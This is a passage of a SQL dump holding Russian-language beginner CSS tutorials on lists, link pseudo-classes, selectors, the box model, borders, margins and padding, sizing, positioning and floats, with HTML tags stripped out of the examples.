со стилями title>\r\n\r\n\r\n\r\n\r\nЭто моя
первая таблица\r\nстилей, и если все
работает, то\r\nнесмотря на то, что
это\r\nзаголовок первого уровня,
он\r\nотобразиться высотой всего\r\nлишь 14
пикселей и будет\r\nголубого
цвета\r\n\r\n\r\n\r\nТакже, можно задавать
стиль\r\nс помощью атрибута style
.\r\nНапример:\r\nНиже я приведу еще
два\r\nспособа подключения
стилей,\r\nкоторые не требуют
внешней\r\nтаблицы стилей. Это чисто
для\r\nобщего развития, и\r\nприменять их на
практике я\r\n\r\nW3C//DTD HTML
4.01\r\nTransitional//EN"\r\n"http://www.w3.org/TR/\r\nhtml4/loose.dtd">\r\n\r\n\r\ntitle>\r\n\r\n\r\n\r\nstyle="color:blue;font-\r\nsize:14px">Это
моя первая\r\nтаблица стилей, и если
все\r\nработает, то несмотря на то,\r\nчто
это заголовок первого\r\nуровня, он
отобразиться\r\nвысотой всего лишь
14\r\nпикселей и будет
голубого\r\nцвета\r\n\r\n\r\n\r\nОба эти примера
не\r\nиспользуют хотя бы потому,\r\nчто они
не дают особых\r\nпреимуществ перед html
.\r\nВедь при попытке изменить\r\nдизайн
всего сайта,\r\nпостроенного по
такому\r\nпринципу, придется
изменять\r\nстили на всех страницах,а
это\r\nопять же
время...','','files_2688_3240_'),(31,4,'Урок 1: Что такое
CSS ?','Стиль - это набор
параметров,\r\nзадающий
внешнее\r\nпредставление
некоторого\r\nобъекта в той или иной
среде.\r\nCSS - это сокращение от\r\nCascading Style
Sheets - в\r\nпереводе Каскадные
таблицы\r\nстилей.
Уникальное\r\nизобретение
человечества,\r\nзначительно
облегчающее\r\nсоздание веб-сайтов.
CSS\r\nработает со шрифтами,\r\nполями,
таблицами,\r\nотступами, картинками и др.
и\r\nпредставляет значительно\r\nболее
широкие возможности,\r\nчем простой html.\r\nА
чем CSS отличается от\r\nHTML ?\r\nДело в том,
что изначально\r\nhtml
использовался\r\nисключительно для
разметки\r\nсодержимого документа. Т.е.
с\r\nего помощью указывалось\r\nмол это
параграф, а это\r\nтаблица, а это -
картинка.\r\nЧто было дальше? С
каждым\r\nмесяцем
количество\r\nпользователей
интернет\r\nросло. Выдвигались все
более\r\nсерьезные требования к\r\nВ этом
уроке мы с вами\r\nразберемся что такое CSS
и с\r\nчем его едят :)\r\nдизайну, т.е.
внешнему\r\nоформлению страниц.
Вскоре\r\nразработчиками
были\r\nизобретены новые теги , такие\r\nкак
, , и\r\nдр. которые определяли уже\r\nне
структуру, а внешний вид.\r\nТаких тегов
появилось очень\r\nмного. И все бы хорошо,
НО!\r\nбольшая доля этих
тегов\r\nподдерживалась только\r\nодним
видом браузеров.\r\nОбычным явлением,
при\r\nпопытке просмотра того или\r\nиного
сайта стала ошибка :\r\n"Вам необходим
браузер X для\r\nпросмотра этой
страницы".\r\nСпециально для
исправления\r\nэтой ситуации был создан CSS
.\r\nОн предоставил возможность\r\nточного
дизайна,\r\nподдерживаемого
всеми\r\nбраузерами.\r\nВот еще пример
отличия css\r\nот html :\r\nДопустим перед нами
стоит\r\nзадача сделать сайт о
природе\r\nиз 100 страниц. Как
вы\r\nпонимаете, по правилам\r\nхорошего
тона, весь сайт\r\nнеобходимо выполнить
в\r\nодном стиле, к примеру,\r\nзеленый фон,
шрифт Verdana\r\n14 размера , ссылки
красного\r\nцвета.\r\nЕсли\r\nмы делаем такой
сайт на\r\nчистом html, то на каждой\r\nновой
странице нужно\r\nуказывать зеленый
фон,\r\nуказывать чтобы ссылки
были\r\nкрасного цвета, каждому\r\nновому
параграфу указывать\r\nшрифт 14 размера.
Т.е.\r\nкаждой странице нужно как-\r\nбы
заново создавать стиль.\r\nТеперь сделаем
тоже самое\r\nна\r\nCSS . В отдельном
файле\r\nсоздаем стиль одинаковый\r\nдля
всех страниц. И в каждой\r\nстранице
пропишем\r\nединственную
строчку\r\nподключающую этот стиль.\r\nВот
и все!\r\nи чем же это круче? А
Вы\r\nпредставьте, что в один\r\nпрекрасный
день вы захотели\r\nпоменять дизайн всего
сайта.\r\nВ случае с чистым html ,
Вам\r\nпридется заходить на
каждую\r\nстраницу и менять
все\r\nпараметры на другие,\r\nпредставьте
сколько это\r\nзаймет времени. Но в
случае\r\nиспользования CSS вы
просто\r\nпоменяли эти параметры в\r\nфайле
стилей и на всех 100\r\nстраницах дизайн
обновился!\r\nчувствуете разницу?\r\nТем
более с помощью CSS\r\nможно делать такие
вещи,\r\nкоторые на html сделать\r\nвообще
нереально. По ходу\r\nобучения Вы сами
увидите это.\r\nПодведем итоги\r\nосновные
преимущества CSS :\r\nуправление
дизайном\r\nлюбого
количества\r\nдокументов с
помощью\r\nодной таблицы стилей;\r\nболее
точный дизайн\r\nстраниц,
поддерживаемый\r\nвсеми
браузерами;\r\nНу\r\nразделение документа
на\r\nдве составляющие:\r\nструктура и
дизайн,\r\nблагодаря чему исходный\r\nкод
становится чистым и\r\nлегко
читаемым\r\nновые
расширенные\r\nвозможности по
сравнению\r\nс обычным
html','','files_1444_4892_'),(38,4,'Урок 6: Списки в CSS','В
этом уроке мы рассмотрим основные
свойства CSS , отвечающие за внешний вид
списков. Их совсем чуть-чуть, так что урок
будет коротким, но полезным!\r\n*.
list-style-type\r\n*. list-style-position\r\n*. list-style-image\r\n*.
list-style\r\nЗапомните : Все эти свойства
универсальны, т.е. могут применяться как
к упорядоченным спискам, так и к
неупорядоченным. В этом то иприкол CSS ,
что можно из неупорядоченного списка,
сделать упорядоченный и наоборот
:)\r\nСвойство LIST-STYLE-TYPE\r\nПозволяет
определять вид маркера элементов списка.
Это могут быть цифры, буквы, квадратики,
кружочки и др. Ниже приведены основные
значения этого свойства:\r\n*. disk - маркер в
виде закрашенного круга;\r\n*. circle - маркер
в виде незакрашенного круга;\r\n*. square -
маркер в виде закрашенного квадрата;\r\n*.
decimal - обычные десятичные числа , например
1,2,3,4,5 и т. д. ;\r\n*. upper-roman - большие римские
цифры, типа I, II, III, IV, V и т.д. ;\r\n*. lower-roman -
маленькие римские цифры типа i, ii, iii, iv,v и
т.д.\r\n*. upper-alpha - большие буквы A, B, C, D, E и
так далее;\r\n*. lower-alpha - малые буквы типа
a,b,c,d,e и т.д.;\r\n*. none - маркер списка
отсутсвует;\r\nПеределаем, для прикола,
упорядоченный список в неупорядоченный,
т.е. элементу OL( упорядоченый список)
напишем square, а элементу
UL(неупорядоченный) тип upper-roman;\r\nol {
list-style-type : square ;}\r\nul { list-style-type : upper-roman
;}\r\nСвойство LIST-STYLE-POSITION\r\nЭто свойство
определяет положение маркера. Может
принимать два значения:\r\n*. outside - за
пределами основного блока элемента
списка;\r\n*. inside - внутри основного блока
списка.\r\nТ.е. если мысленно обвести
прямоугольником основной блок списка,
получится примерно следующее:\r\nТолько
учтите, это свойство уже устарело, и
сейчас, в новых версиях браузеров может
уже и не работать!\r\nСвойство
LIST-STYLE-IMAGE\r\nЭто наверное самое интересное
свойство в списках. Оно позволяет
поставить вместо маркера любое
изображение. В качестве значения
указывается ключевое слово url и затем в
круглых скобках путь к изображению. В
некоторых устаревших версиях браузеров,
работает неккоректно.\r\nul { list-style-image :
url(galka.gif) ;}\r\nНе забывайте, что url(galka.gif)
означает что изображение galka.gif лежит в
той же папке, где и css -файл. Если у вас
изображение не там, соответственно и
путь указывайте другой!\r\nСокращенная
форма LIST-STYLE\r\nПеречисленные выше
свойства можно записать более компактно.
Для этого существует сокращенный
вариант list -style;\r\nТакой вариант из трех
строк:\r\nul {\r\nlist-style-type : square ;\r\nlist-style-position :
inside ;\r\nlist-style-image : url(galka.gif)
;\r\n}\r\nРациональнее заменить таким:\r\nul {
list-style : square inside url(galka.gif) }\r\nСвойства
указываются через пробел и
последовательность в данном случае роли
не играет.\r\nЕсли какое-либо свойство не
указать, ему присвоится значение по
умолчанию.','','files_3341_4945_'),(39,4,'Урок 7: Ссылки
в CSS','Вы не раз замечали\r\nна различных
сайтах, как при\r\nнаведении на ссылку
меняется\r\nее внешний вид. Ну
например\r\nисчезает подчеркивание
или\r\nменяется цвет. Это делает как-\r\nраз
CSS , а именно за это\r\nотвечают
псевдоклассы -\r\nклассы, способные
учитывать\r\nте или иные условия ,
при\r\nопределении свойств
html\r\nэлемента.\r\nКак применить
псевдокласс к\r\nссылкам?\r\nЗаписываем для
начала\r\nэлемент А, к которому мы\r\nбудем
применять псевдокласс,\r\nзатем\r\nставим
двоеточие и\r\nуказываем имя
псевдокласса,\r\nа уже потом в
фигурных\r\nскобках указываем
нужный\r\nстиль.\r\nА : ИМЯ ПСЕВДОКЛАССА\r\n{
...стиль ...}\r\nНу вот для ссылок
например\r\nбывает четыре
псевдокласса:\r\nA:link { ... стиль
оформления\r\nобычной ссылки... }\r\nA:active { ...
стиль оформления\r\nссылки в момент
нажатия... }\r\nA:visited { ... стиль
оформления\r\nпосещенной ссылки...
}\r\nНаверное\r\nА:hover { ... стиль
оформления\r\nссылки, на которую
наведен\r\nуказатель мыши ... }\r\nПопробуем
создать\r\nсвой стиль:\r\na:link {\r\ncolor: blue
;\r\n}\r\na:visited {\r\ncolor:gray;\r\n}\r\na:hover {\r\ncolor:red
;\r\ntext-decoration:none;\r\n}\r\na:active
{\r\ncolor:green;\r\ntext-decoration:none;\r\n}\r\nВ примере
выше ссылка ведет\r\nсама на себя, и
поэтому чтобы\r\nувидеть класс
уже\r\nпосещенной ссылки, нужно\r\nобновить
страницу.\r\nВообще
вариантов\r\nоформления ссылки
может\r\nбыть множество, и каждый\r\nделает
под конкретный\r\nдизайн что-то свое. Вот
еще\r\nпримерчик:\r\na:link {\r\ncolor: blue
;\r\n}\r\na:visited {\r\nПопробуем\r\ncolor:gray;\r\n}\r\na:hover
{\r\ncolor:red
;\r\ntext-decoration:none;\r\nfont-weight:bold;\r\n}\r\na:active
{\r\ncolor:green;\r\ntext-decoration:none;\r\ntext-transform:uppercase;\r\n}\r\nБывают
случаи, когда мы не\r\nхотим вообще чтобы
ссылка\r\nвизуально выделялась на\r\nфоне
текста. Решение опять\r\nже в CSS:\r\na:link
{\r\ncolor: black ;\r\ntext-decoration:none;\r\n}\r\na:visited{\r\ncolor:
black ;\r\ntext-decoration:none;\r\n}\r\na:hover {\r\ncolor: black
;\r\ntext-decoration:none;\r\n}\r\na:active {\r\ncolor: black
;\r\ntext-decoration:none;\r\n}\r\nЕсли для всех
псевдоклассов\r\nстиль одинаковый, как
в\r\nпримере выше, то это можно\r\nзаписать
и короче:\r\na:link, a:visited, a:hover,\r\na:active {color:black;
text-\r\ndecoration:none;}\r\nА можно и вовсе
без\r\nиспользования\r\nпсевдоклассов:\r\na
{color:black;
text-\r\ndecoration:none;}','','files_2560_4255_'),(40,4,'Урок 8:
Типы селекторов в CSS','для начала, скажу
что\r\nселектор служит для того,\r\nчтобы
однозначно определить\r\nэлемент\r\nв html
документе, к\r\nкоторому мы
хотим\r\nприменить тот или иной стиль\r\nCSS
.\r\nСелектор по элементу;\r\nСелектор по
классу;\r\nСелектор по id;\r\nКонтекcтный
селектор;\r\nСелектор по элементу\r\nДо
этого момента, мы с вами\r\nработали
именно с этим\r\nселектором.Т.е. в
качестве\r\nселектора
использовалось\r\nнепосредственно имя
html\r\nэлемента , к которому мы\r\nхотели
применить данный\r\nстиль. Т.е. написав
класс\r\nнапример для параграфа(Р) ,\r\nвсе
параграфы на странице\r\nприобретали
стиль данного\r\nкласса.\r\nP {\r\nfont-family: arial,
verdana, sans-\r\nserif;\r\nfont-size: 12px\r\n}\r\nА теперь
представьте\r\nситуацию, когда
необходимо\r\nсделать первый параграф
в\r\nНу\r\nодном стиле, второй в
другом,\r\nтретий в третьем и.т.д. Тут
нам\r\nна помощь придет селектор\r\nпо
классу.\r\nСелектор по классу\r\nДавайте
разберем как создать\r\nуниверсальный
класс в CSS . А\r\nсделать это очень
просто:\r\nсначала ставим точку,
затем\r\nсразу, без пробела,пишем
имя\r\nкласса, ну а затем в
фигурных\r\nскобках стиль. Ну
например:\r\n.green {\r\nfont-family: arial, verdana,
sans-\r\nserif;\r\nfont-size: 12px; color:green;\r\n}\r\nкак
применить данный стиль?\r\nДопустим мы
хотим\r\nприменить данный стиль
к\r\nопределенному параграфу
в\r\nдокументе. Вот как это
будет\r\nвыглядеть в html:\r\n\r\n...
текст\r\nпараграфа ...\r\n\r\nКак видите
используется\r\nатрибут class со
значением\r\nназвания стиля. Понятно?
вот\r\nвам еще примерчик:\r\nhtml:\r\n\r\nЭто
обычный параграф ,\r\nдля него
используется\r\nселектор по
элементу\r\n\r\nЭтот\r\nпараграф зеленый, т.к
к нему\r\nприменили класс\r\n\r\nА
этот\r\nпараграф большего шрифта
и\r\nкрасный\r\n\r\nЭтот параграф
снова\r\nобычный, по классу
селектора\r\nэлемента\r\n\r\ncss:\r\np
{\r\nКак\r\nfont-family:arial,verdana,sans-\r\nserif;\r\nfont-size:18px;\r\n}\r\n.green
{color:green;}\r\n.big_red{\r\nfont-size:28px;\r\ncolor:red;\r\n}\r\nсначала
базовый\r\nстиль для всех
параграфов\r\n(селектор по элементу),
а\r\nпотом уже, если хотим в\r\nкаком-либо
параграфе что-то\r\nизменить, создаем для
него\r\nспециальный стиль (селектор\r\nпо
классу) и присваиваем его\r\nэтому
параграфу. Когда мы\r\nсоздаем этот
самый\r\nспециальный класс, мы\r\nдолжны
писать туда только те\r\nсвойства, которые
хотим\r\nдобавить, или изменить,
по\r\nотношению к базовому стилю\r\nдля
этого элемента.\r\nКлассы из примера
выше,\r\nможно применить не только
к\r\nпараграфу, но и например
к\r\nзаголовкам, или например к\r\nячейке
таблицы, или ко всей\r\nтаблице, короче они
могут\r\nприменяться везде, где
они\r\nмогут на что-то повлиять (в\r\nданном
случае везде, где есть\r\nпараметр цвет, и
текст).\r\nСделать так, чтобы
класс\r\nдействовал только
на\r\nопределенный элемент\r\n(например
параграф) можно\r\nуказав название
элемента\r\nперед точкой:\r\nP.green
{color:green;}\r\nУказываем\r\nТеперь класс green не
будет\r\nдействовать ни на что
другое,\r\nкроме элемента P.\r\nСелектор по
id\r\nДанный селектор применяется\r\nесли
необходимо выделить\r\nодин единственный
элемент ,\r\nуникальный,отличный от
всех\r\nостальных в документе. К\r\nпримеру,
выделим первый\r\nзаголовок на
странице\r\nопределенным образом:\r\nhtml-
часть:\r\n<Н1 id="firstheader">
Первый\r\nзаголовок на странице\r\ncss -
часть:\r\nH1#firstheader { color: red;\r\nfont-weight: bold;
text-align:\r\ncenter }\r\nКак видите в
html-части\r\nвместо атрибута class
здесь\r\nупотребляется атрибут id , а в\r\ncss -
вместо точки\r\nупотребляется знак #.\r\nВ
принципе, то же самое\r\nможно сделать и
с\r\nиспользованием селектора по\r\nклассу,
это уже кому как\r\nбольше нравится :)\r\nЭто
очень полезная вещь.\r\nДопустим у нас
есть страничка\r\nс таблицами и
параграфами\r\nтекста, причем и в таблице,
и\r\nв параграфах
встречаются\r\nвыделенные
жирным\r\nшрифтом(strong) слова. И вот,\r\nнам
резко понадобилось\r\nсделать так, чтобы
слова, в\r\nпараграфе, которые
выделены\r\nжирным стали зеленого
цвета.\r\nТак вот:\r\np strong {color:green }\r\nТ.е. в
начале P затем пробел,\r\nзатем STRONG а уже
потом\r\nстиль. Читается эта
строчка\r\nпримерно так: Если
внутри\r\nэлемента P имеется элемент\r\nSTRONG
то элементу strong\r\nприсвоить стиль
зеленого\r\nцвета.\r\nВложенность может
быть\r\nлюбого уровня. Вот еще\r\nпример:
"Если вдруг внутри\r\nячейки таблицы
(td) ,\r\nвстретится параграф (P) ,\r\nвнутри
которого будет слово\r\nвыделенное жирным
(STRONG)\r\nто пусть это слово
станет\r\nкрасным! "\r\ntd p
strong\r\nКонтекстный
селектор\r\n{color:red;}','','files_2598_3483_'),(41,4,'Урок 9:
Блоковая модель в CSS','Давайте разберемся
что значит эта самая блоковая модель, для
этого вспомним немного html.\r\nДело в том,
что в html различают элементы блочные и
строчные. Причем блочные элементы это
как бы отдельная структурная единица,
которая всегда отделяется абзацными
отступами. Т.е. нельзя расположить два
блочных элемента на одной строке.
Примером блоков в html могут служить
элементы H1-Н6 , Р , DIV . А строчные элементы
не создают как-бы отдельной структурной
единицы, не отделяются абзацными
отступами, и например два строчных
элемента могут без проблем
расположиться на одной строке. Примером
могут быть элементы strong , EM , I
.\r\nТехнология стилей CSS также использует
понятие блоков. Блоки в CSS представляют
собой самостоятельную структурную
единицу, имеющую форму прямоугольника.
Каждый элемент в дереве элементов
документа - самостоятельный блок. Из
этого следует, что в CSS есть блоки,
которые структурно отделены от
остальных, а есть строчные блоки, которые
могут находиться внутри структурных
блоков. Но и те, и другие имеют одинаковую
структуру:\r\nКаждый такой блок
обязательно имеет информационную часть,
или содержимое, которым может быть текст,
изображение или другая информация. Эта
часть блока называется его контентом или
содержимым. Например, для элемента P
содержимым блока является текст
абзаца.\r\nВокруг области контента могут
быть пустые, не занятые содержимым
области, называемые полями (margin) . С точки
зрения дизайна поля обеспечивают для
содержимого блока эстетическиболее
привлекательный вид. При наличии полей
определенного размера текст не
примыкает вплотную к границам блока.
Можно провести аналогию с полями,
устанавливаемыми при печати документов
на бумаге. Если полей не было бы, то текст
начинался бы прямо у края листа. При
наличии полей имеются не занятые текстом
области вдоль краев листа бумаги, и
текст, напечатанный на листе, в этом
случае читать приятнее и
удобнее.\r\nНепосредственно за полями
проходит граница блока (border) , которая
может иметь определенную толщину и стиль
линий. Ширина блока может быть
произвольной - от нулевой (граница в этом
случае не видна) до произвольно заданной
в единицах измерениях длины. Стиль
линийможет быть различным, от простой
линии до объемных вариантов. Кроме того,
границаможет иметь произвольный
цвет.\r\nТакже блок может иметь отступы
(padding) , это дополнительное свободное
пространство вокруг границы блока.
Согласно спецификации CSS, поля, границы и
отступы не входят в ширину блока. Таким
образом, указывая ширину блока, вы
задаете ширину лишьтой части блока,
которая отведена для
содержимого.','','files_4950_2227_'),(42,4,'Урок 10:
Рамки в CSS','Давайте в этом уроке
поговорим о рамках. Основные свойства
рамок в CSS следующие:\r\n*. border-width\r\n*.
border-color\r\n*. border-style\r\n*. Сокращенная форма -
border\r\n\r\nСвойство BORDER-WIDTH\r\nЭто свойство
задает толщину рамки. Значение обычно
указывается в пикселях, но также можно
указывать ключевыми словами thin (2px) , medium
(4px) и thick (6px).\r\nСвойство BORDER-COLOR\r\nКак вы
поняли данное свойствоопределяет цвет
рамки. Значение цвета задается обычным
образом, т.е. например: "#ff3344",
или "gold".\r\nСвойство
BORDER-STYLE\r\nДанное свойство определяет
какого вида будет рамка. Ниже приведены 8
основных значений данного свойства.
Всерамки в примере выполнены цветом gold и
шириной 6 px .\r\nSOLID\r\nРамка состоит из
сплошной линии\r\nDOTTED\r\nТочечная
рамка\r\nDASHED\r\nПунктирная
рамка\r\nDOUBLE\r\nРамка из двойной сплошной
линии\r\nGROOVE\r\nРамка как бы из вдавленной
линии, с имитацией объема\r\nRIDGE\r\nРамка
отображается выпуклой линией с
имитацией объема\r\nINSET\r\nРамка
отображается так, что весь блок кажется
вдавленным\r\nOUTSET\r\nРамка отображается
так, что весь блок кажется
выпуклым\r\nПримечание: минимальная
ширина рамки типа double должна равняться 3
px, иначе она будет отображаться
некорректно.\r\nВот пару примеров
стилей:\r\nh1 {\r\nborder-width: 4px;\r\nborder-style:
dotted;\r\nborder-color: red;\r\n}\r\nh2 {\r\nborder-width:
18px;\r\nborder-style: inset;\r\nborder-color: red;\r\n}\r\np
{\r\nborder-width: 2px;\r\nborder-style: solid;\r\nborder-color:
blue;\r\n}\r\nИли такой вариант:\r\nh1 {\r\nborder-width:
30px;\r\nborder-style:outset ;\r\nborder-color: red;\r\n}\r\nh2
{\r\nborder-width: 20px;\r\nborder-style: dashed;\r\nborder-color:
gold;\r\n}\r\nh3 {\r\nborder-width: 16px;\r\nborder-style:
double;\r\nborder-color: green;\r\n}\r\np {\r\nborder-width:
1px;\r\nborder-style: dotted;\r\nborder-color:
blue;\r\n}\r\nСокращенная форма - border\r\nКак и в
других свойствах, у рамки есть
сокращенная форма border . В начале пишется
толщина, затем после пробела стиль, а
затем после пробела цвет. Предыдущий
пример можно записать так:\r\nh1 {\r\nborder :30px
outset red;\r\n}\r\nh2 {\r\nborder :20px dashed gold;\r\n}\r\nh3
{\r\nborder : 16px double green;\r\n}\r\nP {border :1px dotted
blue\r\n}\r\n\r\nВо всех перечисленных выше
примерах, если добавить после слова border
одно из ключевых слов (top, right, bottom, left)
можно регулировать параметры рамки с
разных сторон соответственно (верх,
право, низ, лево). Ну вот например можно
сделать так:\r\nh1 {\r\nborder- top -width: 30px;\r\nborder- top
-style:solid ;\r\nborder- top -color: red;\r\nborder- right -width:
20px;\r\nborder- right -style:dashed ;\r\nborder- right -color:
gold;\r\nborder- bottom -width: 10px;\r\nborder- bottom
-style:dashed;\r\nborder- bottom -color: green;border- left -width:
40px;\r\nborder- left -style:solid ;\r\nborder- left -color:
blue;\r\n}\r\nЕстественно намного красивее код
будет выглядеть в сокращенном виде:\r\nh1
{\r\nborder- top : 30px solid red;\r\nborder- right : 20px dashed
gold;\r\nborder- bottom : 10px dashed green;\r\nborder- left : 40px solid
blue;\r\n}\r\nМожно также комбинировать
перечисленные выше свойства, ну например
так:\r\nh1 {\r\nborder : 30px solid red;\r\nborder-bottom : 10px solid
gold;\r\n}\r\nh2 {\r\nborder : 30px solid red;\r\nborder-bottom-color :
green\r\n}','','files_4540_4070_'),(43,4,'Урок 11: Поля (margin) и
отступы (padding)','Это очень простой, но в это
же время и нужный урок. Давайте
посмотрим, в чем отличие margin от padding. Для
этого, еще разок вспомним блоковую
модель в CSS.\r\nMARGIN (Поля) - это расстояние
от границы(рамки) блока, до ближайших
элементов, или, если их нет, до краев
документа.\r\nPADDING (Отступы) - как бы
внутреннее расcтояние, между
границей(рамкой) и содержимым блока.\r\nИ
давайте сразу посмотрим примерчик:
создадим три стиля для трех разных
параграфов, с различными значениями marginи
padding и посмотрим на результат:\r\n.p1
{\r\nbackground-color : #FFE446;\r\nborder:1px solid red;\r\nmargin : 70px
;\r\n}\r\n.p2 {\r\nbackground-color : #FFE446;\r\nborder:1px solid
red;\r\npadding : 70px ;\r\n}\r\n.p3 {\r\nbackground-color :
#FFE446;\r\nborder:1px solid red;\r\nmargin : 50px ;\r\npadding : 20px
;\r\n}\r\nДобавляя уже знакомые нам ключевые
слова: top, right, bottom, left можно регулировать
отступы и поля соответственно сверху,
справа,снизу, слева .\r\np {\r\nmargin-top
:50px;\r\nmargin-right :50px;\r\nmargin-bottom :50px;\r\nmargin-left
:150px;\r\n}\r\nТоже самое, только в более
сокращенной записи:\r\np {\r\nmargin :50px;\r\nmargin-left
:150px;\r\n}\r\nТ.е. так как только левое поле
отличается от остальных, мы просто
записали общее поле, а потом дописали
значение левого поля, и получили тот же
результат что и в первом
примере.\r\nВозможен также такой вариант
записи:\r\np {\r\nmargin : 50px 50px 50px 150px;\r\n}\r\nТ.е.
значения записываются по часовой
стрелке: верхнее, правое, нижнее,
левое.\r\nВ каких случаях лучше
пользоваться отступами, а в каких
полями?\r\nА это уже решать Вам, могу
только дать несколько принципиальных
отличий:\r\n*. Отступы(padding) распологаются
внутри блока, а поля(margin) - за их
пределами;\r\n*.\r\nФон блока и фоновое
изображение распространяются только на
отступы, но не на поля. Поля всегда
прозрачны, и сквозь них просвечивает фон
родительского
элемента.','','files_3171_3833_'),(44,4,'Урок 12:
Высота(height) и ширина(width) блоков','Как Вы
уже наверное заметили, по умолчанию
высота и ширинаблоков определяются
автоматически, т.е. чем больше текста(или
другого содержимого) тем шире и выше
блок.\r\nНо, с помощью технологии CSS , мы
можем сами задавать необходимую нам
ширину и высоту блоков. Ну что ж, давайте
начнем.\r\nHEIGHT - свойство устанавливающее
высоту блока;\r\nWIDTH - свойство
устанавливающее ширину блока;\r\nОбычно, в
качестве блоков в CSSиспользуют элемент DIV
. Однако свойство ширины и высоты можно
применить и к параграфам, спискам и
др.\r\nТеория - теорией, но давайте
практиковаться. Я создал 4 класса, и
поочередно присвоил их одному и тому же
боксу (в данном случае DIV ) с текстом.
Смотрите что получилось.\r\n.box1 {\r\nwidth :
300px;\r\nborder: 1px solid red;\r\nbackground: #FFE446;\r\n}\r\nКак
видите, ширина фиксированная и равна 300
пикселей, а высота устанавливается по
умолчанию,в зависимости от
содержимого.\r\n.box2 {\r\nheight : 300px;\r\nborder: 1px solid
red;\r\nbackground: #FFE446;\r\n}\r\nТеперь,
фиксированная высота, а ширина
растягивается по содержимому.\r\n.box3 {\r\nwidth
: 300px;\r\nheight : 600px;\r\nborder: 1px solid red;\r\nbackground:
#FFE446;\r\n}\r\nЗдесь фиксированная как высота,
так и ширина.\r\n.box4 {\r\nwidth : 300px;\r\nheight :
300px;\r\nborder: 1px solid red;\r\nbackground: #FFE446;\r\n}\r\nА это
пример того, как будет выглядеть бокс с
фиксированной шириной и высотой, если
содержимое не влазит туда :)\r\nТекст
попросту выходит за рамки
блока.\r\nПримечание!\r\nКак я уже говорил, в
9 уроке, согласно спецификации CSS, поля,
границы и отступы не входят в ширину
блока. Таким образом, указывая ширину
блока, вы задаете ширину лишьтой части
блока, которая отведена для
содержимого.','','files_4301_2715_'),(45,4,'Урок 13:
Позиционирование блоков','Технология CSS
позволяет размещать что угодно, там где
Вам угодно. Нужно просто указать
координаты блока и все. Под блоком мы
понимаем не только\r\n, но и
заголовки,параграфы, рисунки, списки, в
общем все, что является блоковой моделью.
Это помогает создать действительно
прикольный, уникальный
дизайн.\r\nРассмотрим две основные модели
позиционирования:\r\n*. Абсолютное
позиционирование (POSITION:ABSOLUTE;)\r\n*.
Относительное позиционирование
(POSITION:RELATIVE; )\r\nАбсолютное
позиционирование (POSITION:ABSOLUTE;)\r\nОбычно
для позиционирования применяют именно
этот тип. В технологии CSS, свойство
позиционирования обозначается как POSITION ,
а чтобы указать , что это
позиционирование абсолютное, пишут
значение ABSOLUTE . Затем используя ключевые
слова top, right,bottom,left указывают необходимые
координаты, которые отсчитываются от
краев окна браузера.\r\nПосмотрите на
рисунок ниже. Я специально сделал рамку
боксу,чтобы было более понятно, откуда
отсчитываются координаты.\r\nОгромный
плюс абсолютного позиционирования в том,
что бокс с абсолютным позиционированием
располагается по заданным координатам, а
из того места, где он должен был бы быть,
он удаляется.\r\nБлин, на словах объяснить
проблематично, так что давайтепокажу на
примере:\r\nРассмотрим, обычный документс
одним изображением, и обтекающим его
текстом.\r\nА теперь, спозиционируем
изображение , для чего создадим класс, и
присвоим его изображению. Код класса,
выглядит примерно так:\r\n.smile {\r\nborder: 1px solid
red;\r\nposition : absolute ;\r\ntop :100px;\r\nright :100px;\r\n}\r\nНу
а с html думаю проблем у Вас не будет, чтобы
применить класс к изображению, пишем
типо .\r\nЧто мы видим? как я уже писал
раньше, изображение удалилось из того
места, где оно было(вместо изображения
теперь там текст), и переместилось
соответственно указанным координатам. В
примере выше, я сделал красную рамку,
чисто для того, чтобы было нагляднее
понятно, что координаты отсчитываются
правильно. А вообще, ее лучше не ставить
:)\r\nОбычно указываются только две
координаты, т.е. привязка идет к любому из
углов документа.\r\nВот еще пример
стиля:\r\n.smile {\r\nposition : absolute ;\r\nbottom :300px;\r\nleft
:100px;\r\n}\r\nЕсли необходимо зафиксировать
блок, т.е. чтобы он не прокручивался
вместе с основным содержимым, т.е. не
скролился, то необходимо указать
значение FIXED .\r\n.smile {\r\nposition : fixed ;\r\nbottom
:300px;\r\nleft :100px;\r\n}\r\nОтносительное
позиционирование (POSITION:RELATIVE; )\r\nПри
относительном позиционировании, бокс
смещается , но его прежнее место ничего
не заполняет. Обозначается в как POSITION:
RELATIVE;\r\nКоординаты в отличие от
абсолютного позиционирования,
отсчитываются от прежнего положения
блока.\r\nЕсли изображение
спозиционировать относительно.\r\nCss
код:\r\n.smile {\r\nborder:1px solid red;\r\nposition : relative
;\r\ntop :200px;\r\nleft
:100px;\r\n}','','files_1658_2931_'),(46,4,'Урок 14: Плавающие
блоки(свойство float)','В этом уроке я
вкратце коснусь такой вещи как плавающие
блоки. Вообще , с помощью плавающих
блоков можно создавать различные
эффекты идаже дизайн страниц, т.н.
блочный дизайн. Большинство современных
сайтов строятся именно по блочному
принципу. Поэтому, мне кажется , что очень
важно разобраться как это
работает!\r\nИтак, Плавающие блоки в CSS
определяются свойством float.\r\nСвойства
FLOAT\r\nДанное свойство определяет, будет
ли блок плавающим и в какую сторону он
будет перемещаться. Свойство может
принимать следующие значения.\r\n*. left -
структурный блок перемещается влево.
Остальное содержимое документа будет
выводиться вдоль правой стороны блока,
начиная с самого верха.\r\n*. right -
структурный блок перемещается вправо.
Остальное содержимое документа
выводится вдоль левой стороны блока,
начинаяс самого верха.\r\n*. none - блок не
перемещается (значение по
умолчанию).\r\nНу вот например, как будут
располагаться по умолчанию,три
квадратных блока, со стороной в 200
пикселей.\r\nhtml код :\r\nПервый
блок\r\n\r\nВторой блок\r\n\r\nТретий
блок\r\n\r\nCSS код :\r\n.box1 {\r\nwidth :200px;\r\nheight
:200px;\r\nborder :1px solid red;\r\nbackground-color
:orange;\r\n}\r\n.box2 {\r\nwidth :200px;\r\nheight :200px;\r\nborder :1px
solid red;background-color :orange;\r\n}\r\n.box3 {\r\nwidth
:200px;\r\nheight :200px;\r\nborder :1px solid red;\r\nbackground-color
:orange;\r\n}\r\nКак видите, по умолчанию каждый
следующий блок, находится под
предыдущим.\r\nИспользуя свойство float
можносделать так, чтобы каждый
блоквсплывал влево, т.е. это будет
выглядеть так:\r\n.box1 {\r\nwidth :200px;\r\nheight
:200px;\r\nborder :1px solid red;\r\nbackground-color :orange;\r\nfloat :
left ;\r\n}\r\n.box2 {\r\nwidth :200px;\r\nheight :200px;border :1px solid
red;\r\nbackground-color :orange;\r\nfloat : left ;\r\n}\r\n.box3
